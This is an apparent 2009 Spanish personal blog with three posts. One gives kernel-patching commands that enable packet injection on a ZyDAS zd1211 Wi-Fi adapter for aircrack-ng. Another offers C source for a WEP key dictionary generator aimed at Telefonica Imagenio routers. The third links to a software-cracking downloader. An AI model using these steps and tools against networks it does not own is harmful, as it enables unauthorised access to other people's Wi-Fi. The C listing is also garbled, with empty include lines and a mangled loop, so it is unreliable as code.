Free web hosting by 100WebSpace.com free web space | Cheap Web Hosting | linux hosting | web hosting | dating | reseller hosting | report abuse | links
Professional web hosting


Oct 13 2009

inyectar con wisacom zydas z1211b en ubuntu 7.10 y 8.04

Tag: GeneralYanPakal @ 17:22

entrada para hacer copia de seguridad de un par de manuales

en ubuntu 7.10:

Código:

rmmod zd1211rw

Es aconsejable liberar de la memoria:

rmmod ieee80211softmac

rmmod ieee80211

y cualquier rastro de ieee80211

wget http://patches.aircrack-ng.org/ieee80211_inject.patch

wget http://patches.aircrack-ng.org/zd1211rw_inject_2.6.23.patch

cp ./ieee80211_inject.patch /usr/src/linux

cp ./zd1211rw_inject_2.6.23.patch /usr/src/linux

cd /usr/src/linux

patch -Np1 –verbose –dry-run -i zd1211rw_inject_2.6.23.patch

patch -Np1 –verbose -i zd1211rw_inject_2.6.23.patch

patch -Np1 –verbose –dry-run -i ieee80211_inject.patch

patch -Np1 –verbose -i ieee80211_inject.patch

cd /usr/src/linux/drivers/net/wireless/zd1211rw

make -C /lib/modules/`uname -r`/build/ M=`pwd` modules

make -C /lib/modules/`uname -r`/build/ M=`pwd` modules_install

cd /usr/src/linux/net/ieee80211

make -C /lib/modules/`uname -r`/build/ M=`pwd` modules

make -C /lib/modules/`uname -r`/build/ M=`pwd` modules_install

depmod -ae

modprobe zd1211rw

Aunque lo mejor es reiniciar el equipo, siempre que no estemos en modo livecd.

en ubuntu 8.04:

Primeramente me descargué el parche para el kernel de Ubuntu 8.04 desde http://www.latinsud.com/pub/zd1211rw/zd1211rw_inject_2.6.24.4.patch

Después, descargué las fuentes del kernel con:

sudo apt-get install linux-source2.6.24

Después me cambié al subdirectorio donde se descargaron las fuentes con:

cd /usr/src

Extraje el contenido de las fuentes con:

sudo tar -jxvf linux-source-2.6.24.tar.bz2

Creé un enlace simbólico con:

sudo ln -s /usr/src/linux-source-2.6.24 /usr/src/linux

Y me cambié al directorio para trabajar con:

cd /usr/src/linux

Después a descargar los parches con:

wget http://patches.aircrack-ng.org/ieee80211_inject.patch

wget http://www.latinsud.com/pub/zd1211rw/zd1211rw_inject_2.6.24.4.patch

Y probé el primer parche con:

sudo patch -Np2 –verbose –dry-run -i zd1211rw_inject_2.6.24.2.patch

Como todo fué O.K. apliqué el parche con:

sudo patch -Np1 –verbose -i zd1211rw_inject_2.6.24.4.patch

A probar el segundo parche con:

sudo patch -Np1 –verbose –dry-run -i ieee80211_inject.patch

Como todo fué O.K. apliqué el parche con:

sudo patch -Np1 –verbose -i ieee80211_inject.patch

Después de eso, me cambié al directorio para trabajar con los parches:

cd /usr/src/linux/drivers/net/wireless/zd1211rw

Recompilé el módulo parcheado con:

sudo make -C /lib/modules/`uname -r`/build/ M=`pwd` modules

Otra vez cambio de directorio para el otro parche:

cd /usr/src/linux/net/ieee80211

Y a recompilar el módulo parcheado:

sudo make -C /lib/modules/`uname -r`/build/ M=`pwd` modules

A continuación, copié los módulos parchiados y recompilados para poderlos usar:

sudo cp /usr/src/linux/drivers/net/wireless/zd1211rw/zd1211rw.ko /lib/modules/`uname -r`/kernel/drivers/net/wireless/zd1211rw/zd1211rw.ko

sudo cp /usr/src/linux/net/ieee80211/*.ko /lib/modules/`uname -r`/kernel/net/ieee80211/

sudo cp /usr/src/linux/net/ieee80211/softmac/*.ko /lib/modules/`uname -r`/kernel/net/ieee80211/softmac/

Para finalizar el proceso con un:

sudo depmod -ae


Oct 11 2009

Generador posibles claves Telefonica Imagenio

Tag: GeneralYanPakal @ 11:53

Hice un pequeño programa que puede seros util para auditoria wireless , esta hecho en c para linux, genera un diccionario con las posibles claves WEP a partir del nombre de la red wifi y de la dirección MAC del punto de acceso

pongo el codigo fuente, ¿no sabes que hacer con él? guardalo en un archivo, de nombre por ejemplo 1.c, luego con gcc 1.c lo compilas, aparecera un archivo ejecutable, llamado a.out o similar, renombralo si quieres, luego para usarlo escribes ./a.out WLAN_37 00:01:38:45:54:64 por ejemplo, veras que se crea un archivo con las claves

#include
#include
#include

int principal(char red[], char bssid[]);

int main(int argc, char *argv[]){
int retorno;

if(argc!=3){
printf("Parametros incorrectos\n");
printf("debes pasar el nombre de la red(ESSID) y la");
printf("direccion MAC del AP(BSSID)");
retorno=-1;
}else{
retorno=principal(argv[1], argv[2]);
}
return retorno;
}

int principal(char red[], char bssid[]){
int fichero; /* es el archivo de descripcion del fichero*/
int i;/* contador para el bucle for */
int j;
char letras[5]="CZX";
int nLetras=3;
int retorno=0;
char nuevoNombre[50]="claves_";
char inicio[10];
char final[3];
char caracteres[17]="0123456789ABCDEF";
int a,b,c,d;

inicio[1]=bssid[0];
inicio[2]=bssid[1];
inicio[3]=bssid[3];
inicio[4]=bssid[4];
inicio[5]=bssid[6];
inicio[6]=bssid[7];

final[0]= red[5];
final[1]= red[6];

//creo y abro el nuevo fichero
strcat(nuevoNombre,red);
fichero= open(nuevoNombre, O_CREAT | O_WRONLY, 0777);

for(i=0; i inicio[0]=letras[i];

for(a=0;a<16;a++){
for(b=0;b<16;b++){
for(c=0;c<16;c++){
for(d=0;d<1;d++){
write(fichero,&inicio,sizeof(char)*7);
write(fichero,&caracteres[a],sizeof(char));
write(fichero,&caracteres[b],sizeof(char));
write(fichero,&caracteres[c],sizeof(char));
write(fichero,&caracteres[d],sizeof(char));
write(fichero,&final,sizeof(char)*2);
write(fichero,"\n",sizeof(char));
}
}
}
}
}
//cierro el fichero
close(fichero);

}


Oct 11 2009

Crack Downloader 2.2 portable

Tag: HowTos, InformáticaYanPakal @ 11:25

El nombre los explica todo

http://www.x-caleta.com/2007/11/24/crack-downloader-2.2-portable-esp.html